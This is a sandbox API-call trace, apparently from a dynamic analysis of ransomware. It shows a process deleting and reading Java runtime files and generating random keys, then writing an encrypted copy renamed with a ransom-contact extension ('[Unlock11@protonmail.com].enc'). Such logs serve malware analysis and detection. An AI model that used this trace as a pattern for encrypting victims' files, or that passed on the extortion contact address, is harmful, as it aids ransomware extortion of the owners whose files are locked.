GetCurrentThreadId () returned 0x9b0 [0130.924] GetLastError () returned 0x0 [0130.924] GetCurrentThreadId () returned 0x9b0 [0130.924] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0x4) returned 0x35d6458 [0130.924] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x35d6408 | out: hHeap=0x2ad0000) returned 1 [0130.924] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x8, Size=0xae08) returned 0x3703358 [0130.925] GetLastError () returned 0x0 [0130.925] GetLastError () returned 0x0 [0130.925] GetLastError () returned 0x0 [0130.925] GetLastError () returned 0x0 [0130.925] GetCurrentThreadId () returned 0x9b0 [0130.925] GetLastError () returned 0x0 [0130.925] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x3703358 | out: hHeap=0x2ad0000) returned 1 [0130.925] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0x10) returned 0x3881060 [0130.925] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x3881060 | out: hHeap=0x2ad0000) returned 1 [0130.926] GetLastError () returned 0x0 [0130.927] GetLastError () returned 0x0 [0130.927] GetCurrentThreadId () returned 0x9b0 [0130.927] GetLastError () returned 0x0 [0130.927] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x37bf790 | out: hHeap=0x2ad0000) returned 1 [0130.928] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0x10015) returned 0x37bf790 [0130.928] GetLastError () returned 0x0 [0130.928] GetLastError () returned 0x0 [0130.928] GetCurrentThreadId () returned 0x9b0 [0130.928] GetLastError () returned 0x0 [0130.928] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x37bf790 | out: hHeap=0x2ad0000) returned 1 [0130.928] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x36f8548 | out: hHeap=0x2ad0000) returned 1 [0130.928] GetLastError () returned 0x0 [0130.928] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x2cc74f0 | out: hHeap=0x2ad0000) returned 1 [0130.929] CloseHandle (hObject=0x3ac) returned 1 [0130.929] GetLastError () returned 0x0 [0130.929] GetCurrentThreadId () returned 0x9b0 [0130.929] GetLastError () returned 0x0 [0130.929] GetLastError () returned 0x0 [0130.929] CloseHandle (hObject=0x39c) returned 1 [0130.929] GetLastError () returned 0x0 [0130.929] GetCurrentThreadId () returned 0x9b0 [0130.929] GetLastError () returned 0x0 [0130.930] GetLastError () returned 0x0 [0130.930] GetLastError () returned 0x0 [0130.930] GetLastError () returned 0x0 [0130.930] GetLastError () returned 0x0 [0130.930] DeleteFileA (lpFileName="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\ext\\jaccess.jar" (normalized: "c:\\program files\\java\\jre1.8.0_144\\lib\\ext\\jaccess.jar")) returned 1 [0130.931] GetLastError () returned 0x0 [0130.931] GetCurrentThreadId () returned 0x9b0 [0130.931] GetLastError () returned 0x0 [0130.931] GetCurrentThreadId () returned 0x9b0 [0130.931] GetLastError () returned 0x0 [0130.932] GetLastError () returned 0x0 [0130.932] GetLastError () returned 0x0 [0130.932] GetLastError () returned 0x0 [0130.932] GetFullPathNameA (in: lpFileName="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\ext\\jfxrt.jar", nBufferLength=0x208, lpBuffer=0x9bada8, lpFilePart=0x9bada4 | out: lpBuffer="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\ext\\jfxrt.jar", lpFilePart=0x9bada4*="jfxrt.jar") returned 0x34 [0130.932] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0x30) returned 0x3262d08 [0130.932] GetCurrentThreadId () returned 0x9b0 [0130.932] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x3262d08 | out: hHeap=0x2ad0000) returned 1 [0130.932] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0x30) returned 0x3262ec8 [0130.932] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x3262ec8 | out: hHeap=0x2ad0000) returned 1 [0130.932] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x8, Size=0x1c) returned 0x35c5aa0 [0130.932] GetLastError () returned 0x0 [0130.933] GetLastError () returned 0x0 [0130.933] GetLastError () returned 0x0 [0130.933] GetLastError () returned 0x0 [0130.933] GetCurrentThreadId () returned 0x9b0 [0130.933] GetLastError () returned 0x0 [0130.933] GetCurrentThreadId () returned 0x9b0 [0130.933] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x35c5aa0 | out: hHeap=0x2ad0000) returned 1 [0130.933] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x8, Size=0x1c) returned 0x35c5aa0 [0130.933] GetLastError () returned 0x0 [0130.933] GetLastError () returned 0x0 [0130.933] GetLastError () returned 0x0 [0130.934] GetLastError () returned 0x0 [0130.934] GetCurrentThreadId () returned 0x9b0 [0130.934] GetLastError () returned 0x0 [0130.934] GetLastError () returned 0x0 [0130.934] GetLastError () returned 0x0 [0130.934] GetLastError () returned 0x0 [0130.934] GetLastError () returned 0x0 [0130.934] GetCurrentThreadId () returned 0x9b0 [0130.934] GetLastError () returned 0x0 [0130.934] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x35c5aa0 | out: hHeap=0x2ad0000) returned 1 [0130.935] GetLastError () returned 0x0 [0130.935] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x31d65a0 | out: hHeap=0x2ad0000) returned 1 [0130.935] GetLastError () returned 0x0 [0130.935] GetLastError () returned 0x0 [0130.935] GetLastError () returned 0x0 [0130.935] GetCurrentThreadId () returned 0x9b0 [0130.935] GetLastError () returned 0x0 [0130.935] GetCurrentThreadId () returned 0x9b0 [0130.935] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x8, Size=0x38) returned 0x2a8a6e8 [0130.935] GetLastError () returned 0x0 [0130.935] GetLastError () returned 0x0 [0130.935] GetLastError () returned 0x0 [0130.936] GetLastError () returned 0x0 [0130.936] GetCurrentThreadId () returned 0x9b0 [0130.936] GetLastError () returned 0x0 [0130.936] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x2a8a6e8 | out: hHeap=0x2ad0000) returned 1 [0130.936] GetLastError () returned 0x0 [0130.936] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x31d6780 | out: hHeap=0x2ad0000) returned 1 [0130.936] GetLastError () returned 0x0 [0130.936] GetLastError () returned 0x0 [0130.936] GetLastError () returned 0x0 [0130.936] GetCurrentThreadId () returned 0x9b0 [0130.937] GetLastError () returned 0x0 [0130.937] GetLastError () returned 0x0 [0130.937] GetLastError () returned 0x0 [0130.937] GetLastError () returned 0x0 [0130.937] GetLastError () returned 0x0 [0130.937] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x38812a0 | out: hHeap=0x2ad0000) returned 1 [0130.937] GetFileAttributesExA (in: lpFileName="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\ext\\jfxrt.jar" (normalized: "c:\\program files\\java\\jre1.8.0_144\\lib\\ext\\jfxrt.jar"), fInfoLevelId=0x0, lpFileInformation=0x9bb4ec | out: lpFileInformation=0x9bb4ec*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xa8bb82c9, ftCreationTime.dwHighDateTime=0x1d327cc, ftLastAccessTime.dwLowDateTime=0xa8bb82c9, ftLastAccessTime.dwHighDateTime=0x1d327cc, ftLastWriteTime.dwLowDateTime=0xa8c0476d, ftLastWriteTime.dwHighDateTime=0x1d327cc, nFileSizeHigh=0x0, nFileSizeLow=0x1166a99)) returned 1 [0130.937] GetLastError () returned 0x0 [0130.937] GetCurrentThreadId () returned 0x9b0 [0130.937] GetLastError () returned 0x0 [0130.938] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x2a8a7a8 | out: hHeap=0x2ad0000) returned 1 [0130.938] CryptGenRandom (in: hProv=0x1052bf0, dwLen=0x10, pbBuffer=0x366d034 | out: pbBuffer=0x366d034) returned 1 [0130.938] GetCurrentThreadId () returned 0x9b0 [0130.938] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0xc0) returned 0x3622818 [0130.938] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0x180) returned 0x34a2ea0 [0130.938] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x3622818 | out: hHeap=0x2ad0000) returned 1 [0130.938] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x8, Size=0x1c) returned 0x35c5be0 [0130.938] GetLastError () returned 0x0 [0130.938] GetLastError () returned 0x0 [0130.938] GetLastError () returned 0x0 [0130.938] GetLastError () returned 0x0 [0130.939] GetCurrentThreadId () returned 0x9b0 [0130.939] GetLastError () returned 0x0 [0130.939] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x35c5be0 | out: hHeap=0x2ad0000) returned 1 [0130.939] GetCurrentThreadId () returned 0x9b0 [0130.939] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x8, Size=0x1c) returned 0x35c5af0 [0130.939] GetLastError () returned 0x0 [0130.939] GetLastError () returned 0x0 [0130.939] GetLastError () returned 0x0 [0130.939] GetLastError () returned 0x0 [0130.939] GetCurrentThreadId () returned 0x9b0 [0130.940] GetLastError () returned 0x0 [0130.940] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x35c5af0 | out: hHeap=0x2ad0000) returned 1 [0130.940] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0x8) returned 0x35d6388 [0130.940] GetCurrentThreadId () returned 0x9b0 [0130.940] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x34a2ea0 | out: hHeap=0x2ad0000) returned 1 [0130.940] GetLastError () returned 0x0 [0130.940] GetLastError () returned 0x0 [0130.940] GetLastError () returned 0x0 [0130.940] GetLastError () returned 0x0 [0130.940] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x3881270 | out: hHeap=0x2ad0000) returned 1 [0130.940] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0x5) returned 0x35d6468 [0130.941] GetLastError () returned 0x0 [0130.941] CreateFileA (lpFileName="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\ext\\jfxrt.jar" (normalized: "c:\\program files\\java\\jre1.8.0_144\\lib\\ext\\jfxrt.jar"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x9bb430, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x39c [0130.941] GetFileType (hFile=0x39c) returned 0x1 [0130.941] GetLastError () returned 0x0 [0130.941] GetCurrentThreadId () returned 0x9b0 [0130.941] GetLastError () returned 0x0 [0130.941] GetFileType (hFile=0x39c) returned 0x1 [0130.941] GetFileInformationByHandle (in: hFile=0x39c, lpFileInformation=0x9bb4ac | out: lpFileInformation=0x9bb4ac) returned 1 [0130.941] FileTimeToLocalFileTime (in: lpFileTime=0x9bb4c0, lpLocalFileTime=0x9bb4f0 | out: lpLocalFileTime=0x9bb4f0) returned 1 [0130.942] FileTimeToSystemTime (in: lpFileTime=0x9bb4f0, lpSystemTime=0x9bb4e0 | out: lpSystemTime=0x9bb4e0) returned 1 [0130.942] FileTimeToLocalFileTime (in: lpFileTime=0x9bb4b8, lpLocalFileTime=0x9bb4f0 | out: lpLocalFileTime=0x9bb4f0) returned 1 [0130.942] FileTimeToSystemTime (in: lpFileTime=0x9bb4f0, lpSystemTime=0x9bb4e0 | out: lpSystemTime=0x9bb4e0) returned 1 [0130.942] FileTimeToLocalFileTime (in: lpFileTime=0x9bb4b0, lpLocalFileTime=0x9bb4f0 | out: lpLocalFileTime=0x9bb4f0) returned 1 [0130.942] FileTimeToSystemTime (in: lpFileTime=0x9bb4f0, lpSystemTime=0x9bb4e0 | out: lpSystemTime=0x9bb4e0) returned 1 [0130.942] GetLastError () returned 0x0 [0130.942] GetCurrentThreadId () returned 0x9b0 [0130.942] GetLastError () returned 0x0 [0130.942] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x35d6468 | out: hHeap=0x2ad0000) returned 1 [0130.943] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x2a8a768 | out: hHeap=0x2ad0000) returned 1 [0130.943] GetLastError () returned 0x0 [0130.943] GetLastError () returned 0x0 [0130.943] GetLastError () returned 0x0 [0130.943] GetLastError () returned 0x0 [0130.943] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x38810f0 | out: hHeap=0x2ad0000) returned 1 [0130.943] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0x5) returned 0x35d64c8 [0130.943] GetLastError () returned 0x0 [0130.944] CreateFileA (lpFileName="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\ext\\jfxrt.jar.[Unlock11@protonmail.com].enc" (normalized: "c:\\program files\\java\\jre1.8.0_144\\lib\\ext\\jfxrt.jar.[unlock11@protonmail.com].enc"), dwDesiredAccess=0x40000000, dwShareMode=0x3, lpSecurityAttributes=0x9bb430, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x3ac [0130.944] GetFileType (hFile=0x3ac) returned 0x1 [0130.944] GetLastError () returned 0x0 [0130.944] GetCurrentThreadId () returned 0x9b0 [0130.944] GetLastError () returned 0x0 [0130.944] GetFileType (hFile=0x3ac) returned 0x1 [0130.944] GetFileInformationByHandle (in: hFile=0x3ac, lpFileInformation=0x9bb4ac | out: lpFileInformation=0x9bb4ac) returned 1 [0130.944] FileTimeToLocalFileTime (in: lpFileTime=0x9bb4c0, lpLocalFileTime=0x9bb4f0 | out: lpLocalFileTime=0x9bb4f0) returned 1 [0130.945] FileTimeToSystemTime (in: lpFileTime=0x9bb4f0, lpSystemTime=0x9bb4e0 | out: lpSystemTime=0x9bb4e0) returned 1 [0130.945] FileTimeToLocalFileTime (in: lpFileTime=0x9bb4b8, lpLocalFileTime=0x9bb4f0 | out: lpLocalFileTime=0x9bb4f0) returned 1 [0130.945] FileTimeToSystemTime (in: lpFileTime=0x9bb4f0, lpSystemTime=0x9bb4e0 | out: lpSystemTime=0x9bb4e0) returned 1 [0130.945] FileTimeToLocalFileTime (in: lpFileTime=0x9bb4b0, lpLocalFileTime=0x9bb4f0 | out: lpLocalFileTime=0x9bb4f0) returned 1 [0130.945] FileTimeToSystemTime (in: lpFileTime=0x9bb4f0, lpSystemTime=0x9bb4e0 | out: lpSystemTime=0x9bb4e0) returned 1 [0130.945] GetLastError () returned 0x0 [0130.945] GetCurrentThreadId () returned 0x9b0 [0130.945] GetLastError () returned 0x0 [0130.945] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x35d64c8 | out: hHeap=0x2ad0000) returned 1 [0130.945] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x2aa2858 | out: hHeap=0x2ad0000) returned 1 [0130.945] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0x10) returned 0x38811f8 [0130.945] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x38811f8 | out: hHeap=0x2ad0000) returned 1 [0130.946] GetLastError () returned 0x0 [0130.946] GetLastError () returned 0x0 [0130.946] GetCurrentThreadId () returned 0x9b0 [0130.946] GetLastError () returned 0x0 [0130.946] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x3881060 | out: hHeap=0x2ad0000) returned 1 [0130.946] GetLastError () returned 0x0 [0130.946] GetLastError () returned 0x0 [0130.946] GetCurrentThreadId () returned 0x9b0 [0130.946] GetLastError () returned 0x0 [0130.946] GetLastError () returned 0x0 [0130.948] GetLastError () returned 0x0 [0130.948] GetCurrentThreadId () returned 0x9b0 [0130.948] GetLastError () returned 0x0 [0130.949] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x35d6388 | out: hHeap=0x2ad0000) returned 1 [0130.949] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x8, Size=0x10018) returned 0x37bf790 [0130.949] GetLastError () returned 0x0 [0130.950] GetLastError () returned 0x0 [0130.950] GetLastError () returned 0x0 [0130.950] GetLastError () returned 0x0 [0130.950] GetCurrentThreadId () returned 0x9b0 [0130.950] GetLastError () returned 0x0 [0130.950] GetCurrentThreadId () returned 0x9b0 [0130.950] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0x10015) returned 0x37940d0 [0130.950] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x37bf790 | out: hHeap=0x2ad0000) returned 1 [0130.950] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0x10) returned 0x3881060 [0130.950] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x3881060 | out: hHeap=0x2ad0000) returned 1 [0130.950] GetLastError () returned 0x0 [0130.952] GetLastError () returned 0x0 [0130.952] GetCurrentThreadId () returned 0x9b0 [0130.952] GetLastError () returned 0x0 [0130.952] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x37940d0 | out: hHeap=0x2ad0000) returned 1 [0130.953] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0x10015) returned 0x37bf790 [0130.953] GetLastError () returned 0x0 [0130.953] GetLastError () returned 0x0 [0130.954] GetCurrentThreadId () returned 0x9b0 [0130.954] GetLastError () returned 0x0 [0130.954] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x36f8548 | out: hHeap=0x2ad0000) returned 1 [0130.954] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0x4) returned 0x35d6518 [0130.954] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x35d63d8 | out: hHeap=0x2ad0000) returned 1 [0130.954] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x8, Size=0x10018) returned 0x36f8548 [0130.954] GetLastError () returned 0x0 [0130.954] GetLastError () returned 0x0 [0130.955] GetLastError () returned 0x0 [0130.955] GetLastError () returned 0x0 [0130.955] GetCurrentThreadId () returned 0x9b0 [0130.955] GetLastError () returned 0x0 [0130.955] GetCurrentThreadId () returned 0x9b0 [0130.955] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x36f8548 | out: hHeap=0x2ad0000) returned 1 [0130.955] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0x10) returned 0x3881288 [0130.955] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x3881288 | out: hHeap=0x2ad0000) returned 1 [0130.955] GetLastError () returned 0x0 [0130.956] GetLastError () returned 0x0 [0130.956] GetCurrentThreadId () returned 0x9b0 [0130.956] GetLastError () returned 0x0 [0130.957] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x37940d0 | out: hHeap=0x2ad0000) returned 1 [0130.957] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0x10015) returned 0x36f8548 [0130.957] GetLastError () returned 0x0 [0130.957] GetLastError () returned 0x0 [0130.959] GetCurrentThreadId () returned 0x9b0 [0130.959] GetLastError () returned 0x0 [0130.959] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x37bf790 | out: hHeap=0x2ad0000) returned 1 [0130.959] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0x4) returned 0x35d64b8 [0130.959] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x35d6518 | out: hHeap=0x2ad0000) returned 1 [0130.959] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x8, Size=0x10018) returned 0x37bf790 [0130.959] GetLastError () returned 0x0 [0130.959] GetLastError () returned 0x0 [0130.960] GetLastError () returned 0x0 [0130.960] GetLastError () returned 0x0 [0130.960] GetCurrentThreadId () returned 0x9b0 [0130.960] GetLastError () returned 0x0 [0130.960] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x37bf790 | out: hHeap=0x2ad0000) returned 1 [0130.960] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0x10) returned 0x38810f0 [0130.960] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x38810f0 | out: hHeap=0x2ad0000) returned 1 [0130.960] GetLastError () returned 0x0 [0130.961] GetLastError () returned 0x0 [0130.961] GetCurrentThreadId () returned 0x9b0 [0130.961] GetLastError () returned 0x0 [0130.962] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x37940d0 | out: hHeap=0x2ad0000) returned 1 [0130.962] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0x10015) returned 0x37bf790 [0130.962] GetLastError () returned 0x0 [0130.962] GetLastError () returned 0x0 [0130.963] GetCurrentThreadId () returned 0x9b0 [0130.963] GetLastError () returned 0x0 [0130.963] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x36f8548 | out: hHeap=0x2ad0000) returned 1 [0130.963] GetCurrentThreadId () returned 0x9b0 [0130.963] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0x4) returned 0x35d6408 [0130.963] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x35d64b8 | out: hHeap=0x2ad0000) returned 1 [0130.963] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x8, Size=0x10018) returned 0x36f8548 [0130.963] GetLastError () returned 0x0 [0130.964] GetLastError () returned 0x0 [0130.964] GetLastError () returned 0x0 [0130.964] GetLastError () returned 0x0 [0130.964] GetCurrentThreadId () returned 0x9b0 [0130.964] GetLastError () returned 0x0 [0130.964] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x36f8548 | out: hHeap=0x2ad0000) returned 1 [0130.964] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0x10) returned 0x3881060 [0130.964] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x3881060 | out: hHeap=0x2ad0000) returned 1 [0130.965] GetLastError () returned 0x0 [0130.965] GetLastError () returned 0x0 [0130.966] GetCurrentThreadId () returned 0x9b0 [0130.966] GetLastError () returned 0x0 [0130.966] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x37940d0 | out: hHeap=0x2ad0000) returned 1 [0130.966] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0x10015) returned 0x36f8548 [0130.966] GetLastError () returned 0x0 [0130.966] GetLastError () returned 0x0 [0130.967] GetCurrentThreadId () returned 0x9b0 [0130.968] GetLastError () returned 0x0 [0130.968] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x37bf790 | out: hHeap=0x2ad0000) returned 1 [0130.968] GetCurrentThreadId () returned 0x9b0 [0130.968] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0x4) returned 0x35d6428 [0130.968] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x35d6408 | out: hHeap=0x2ad0000) returned 1 [0130.968] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x8, Size=0x10018) returned 0x37bf790 [0130.968] GetLastError () returned 0x0 [0130.968] GetLastError () returned 0x0 [0130.969] GetLastError () returned 0x0 [0130.969] GetLastError () returned 0x0 [0130.969] GetCurrentThreadId () returned 0x9b0 [0130.969] GetLastError () returned 0x0 [0130.969] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x37bf790 | out: hHeap=0x2ad0000) returned 1 [0130.969] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0x10) returned 0x3881060 [0130.969] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x3881060 | out: hHeap=0x2ad0000) returned 1 [0130.969] GetLastError () returned 0x0 [0130.971] GetLastError () returned 0x0 [0130.971] GetCurrentThreadId () returned 0x9b0 [0130.971] GetLastError () returned 0x0 [0130.971] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x37940d0 | out: hHeap=0x2ad0000) returned 1 [0130.971] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0x10015) returned 0x37bf790 [0130.972] GetCurrentThreadId () returned 0x9b0 [0130.972] GetCurrentThreadId () returned 0x9b0 [0130.972] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x8, Size=0x10018) returned 0x36f8548 [0130.973] GetCurrentThreadId () returned 0x9b0 [0130.974] GetCurrentThreadId () returned 0x9b0 [0130.974] GetCurrentThreadId () returned 0x9b0 [0130.974] GetCurrentThreadId () returned 0x9b0 [0130.974] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x8, Size=0x10018) returned 0x37bf790 [0130.974] GetCurrentThreadId () returned 0x9b0 [0130.975] GetCurrentThreadId () returned 0x9b0 [0130.976] GetCurrentThreadId () returned 0x9b0 [0130.977] GetCurrentThreadId () returned 0x9b0 [0130.977] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x8, Size=0x10018) returned 0x36f8548 [0130.977] GetCurrentThreadId () returned 0x9b0 [0130.978] GetCurrentThreadId () returned 0x9b0 [0130.979] GetCurrentThreadId () returned 0x9b0 [0130.979] GetCurrentThreadId () returned 0x9b0 [0130.979] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x8, Size=0x10018) returned 0x37bf790 [0130.979] GetCurrentThreadId () returned 0x9b0 [0130.981] GetCurrentThreadId () returned 0x9b0 [0130.981] GetCurrentThreadId () returned 0x9b0 [0130.982] GetCurrentThreadId () returned 0x9b0 [0130.982] GetCurrentThreadId () returned 0x9b0 [0130.983] GetCurrentThreadId () returned 0x9b0 [0130.983] GetCurrentThreadId () returned 0x9b0 [0130.983] GetCurrentThreadId () returned 0x9b0 [0130.984] GetCurrentThreadId () returned 0x9b0 [0130.985] GetCurrentThreadId () returned 0x9b0 [0130.985] GetCurrentThreadId () returned 0x9b0 [0130.986] GetCurrentThreadId () returned 0x9b0 [0130.987] GetCurrentThreadId () returned 0x9b0 [0130.988] GetCurrentThreadId () returned 0x9b0 [0130.988] GetCurrentThreadId () returned 0x9b0 [0130.988] GetCurrentThreadId () returned 0x9b0 [0130.988] GetCurrentThreadId () returned 0x9b0 [0130.990] GetCurrentThreadId () returned 0x9b0 [0130.990] GetCurrentThreadId () returned 0x9b0 [0130.991] GetCurrentThreadId () returned 0x9b0 [0130.991] GetCurrentThreadId () returned 0x9b0 [0130.992] GetCurrentThreadId () returned 0x9b0 [0130.992] GetCurrentThreadId () returned 0x9b0 [0130.993] GetCurrentThreadId () returned 0x9b0 [0130.993] GetCurrentThreadId () returned 0x9b0 [0130.994] GetCurrentThreadId () returned 0x9b0 [0130.994] GetCurrentThreadId () returned 0x9b0 [0130.996] GetCurrentThreadId () returned 0x9b0 [0130.996] GetCurrentThreadId () returned 0x9b0 [0130.996] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0x10015) returned 0x37940d0 [0130.996] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x36f8548 | out: hHeap=0x2ad0000) returned 1 [0130.996] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0x10) returned 0x38810f0 [0130.996] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x38810f0 | out: hHeap=0x2ad0000) returned 1 [0130.997] GetCurrentThreadId () returned 0x9b0 [0131.005] GetCurrentThreadId () returned 0x9b0 [0131.005] GetCurrentThreadId () returned 0x9b0 [0131.009] GetCurrentThreadId () returned 0x9b0 [0131.009] GetCurrentThreadId () returned 0x9b0 [0131.009] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0x10015) returned 0x37bf790 [0131.010] GetCurrentThreadId () returned 0x9b0 [0131.011] GetCurrentThreadId () returned 0x9b0 [0131.012] GetCurrentThreadId () returned 0x9b0 [0131.012] GetCurrentThreadId () returned 0x9b0 [0131.012] GetCurrentThreadId () returned 0x9b0 [0131.012] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0x4) returned 0x35d6478 [0131.012] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x35d64d8 | out: hHeap=0x2ad0000) returned 1 [0131.012] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x8, Size=0x10018) returned 0x37bf790 [0131.013] GetCurrentThreadId () returned 0x9b0 [0131.013] GetCurrentThreadId () returned 0x9b0 [0131.014] GetCurrentThreadId () returned 0x9b0 [0131.015] GetCurrentThreadId () returned 0x9b0 [0131.015] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x35d6478 | out: hHeap=0x2ad0000) returned 1 [0131.015] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x8, Size=0x10018) returned 0x36f8548 [0131.016] GetCurrentThreadId () returned 0x9b0 [0131.017] GetCurrentThreadId () returned 0x9b0 [0131.017] GetCurrentThreadId () returned 0x9b0 [0131.017] GetCurrentThreadId () returned 0x9b0 [0131.017] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x8, Size=0x10018) returned 0x37bf790 [0131.017] GetCurrentThreadId () returned 0x9b0 [0131.019] GetCurrentThreadId () returned 0x9b0 [0131.062] 